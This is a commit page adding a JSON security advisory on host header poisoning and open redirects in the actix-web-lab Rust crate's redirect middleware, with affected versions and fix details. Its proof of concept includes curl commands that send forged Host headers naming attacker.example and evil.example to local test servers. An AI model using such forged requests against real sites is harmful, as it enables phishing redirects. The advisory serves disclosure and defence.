Skip to content

Commit fc34571

Browse files
1 parent 1b6b35d commit fc34571

File tree

1 file changed

+66
-0
lines changed

1 file changed

+66
-0
lines changed
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vhj5-x93p-67jw",
4+
"modified": "2026-03-11T00:29:17Z",
5+
"published": "2026-03-11T00:29:17Z",
6+
"aliases": [],
7+
"summary": "actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects",
8+
"details": "### Summary\n`actix-web-lab` redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, `https://{hostname}{path}`). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the `Location` response header, causing open redirect/phishing behavior.\n\n### CVE\nAssigned CVE ID: CVE-2025-63762\n\n### Details\nThe issue is in redirect middleware paths that construct absolute URLs from `req.connection_info()`:\n\n1. `actix-web-lab/src/redirect_to_https.rs` (around lines 119-132)\n - `let host = conn_info.host();`\n - `format!(\"https://{hostname}{path}\")`\n - `format!(\"https://{hostname}:{port}{path}\")`\n\n2. `actix-web-lab/src/redirect_to_www.rs` (around lines 30-35)\n - `format!(\"{scheme}://www.{host}{path}\")`\n\n3. `actix-web-lab/src/redirect_to_non_www.rs` (around lines 30-34)\n - `format!(\"{scheme}://{host_no_www}{path}\")`\n\nBecause host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.\n\n### PoC\nEnvironment used for validation:\n- Local minimal Actix apps using `actix-web-lab` middleware\n- RedirectHttps: `http://127.0.0.1:18080`\n- redirect_to_www: `http://127.0.0.1:18081`\n- redirect_to_non_www: `http://127.0.0.1:18082`\n\nReproduction (RedirectHttps):\n```bash\ncurl.exe -i -s \"http://127.0.0.1:18080/test\" -H \"Host: attacker.example\"\n```\n\nObserved response:\n```http\nHTTP/1.1 307 Temporary Redirect\nlocation: https://attacker.example/test\n```\n\nAdditional verification:\n```bash\ncurl.exe -i -s \"http://127.0.0.1:18080/abc/def\" -H \"Host: evil.example:9999\"\n```\n\nObserved response:\n```http\nHTTP/1.1 307 Temporary Redirect\nlocation: https://evil.example/abc/def\n```\n\nReproduction (redirect_to_www):\n```bash\ncurl.exe -i -s \"http://127.0.0.1:18081/hello\" -H \"Host: attacker.example\"\n```\n\nObserved response:\n```http\nHTTP/1.1 307 Temporary Redirect\nlocation: http://www.attacker.example/hello\n```\n\nReproduction (redirect_to_non_www):\n```bash\ncurl.exe -i -s \"http://127.0.0.1:18082/path\" -H \"Host: www.attacker.example\"\n```\n\nObserved response:\n```http\nHTTP/1.1 307 Temporary Redirect\nlocation: http://attacker.example/path\n```\n\n### Impact\nThis is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "crates.io",
19+
"name": "actix-web-lab"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.26.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 0.25.0"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/robjtede/actix-web-lab/security/advisories/GHSA-vhj5-x93p-67jw"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/robjtede/actix-web-lab/pull/292"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/robjtede/actix-web-lab/commit/142c28b82eb59b67445a859a2a9b75e01a9964ee"
51+
},
52+
{
53+
"type": "PACKAGE",
54+
"url": "https://github.com/robjtede/actix-web-lab"
55+
}
56+
],
57+
"database_specific": {
58+
"cwe_ids": [
59+
"CWE-601"
60+
],
61+
"severity": "MODERATE",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-03-11T00:29:17Z",
64+
"nvd_published_at": null
65+
}
66+
}

0 commit comments

Comments
 (0)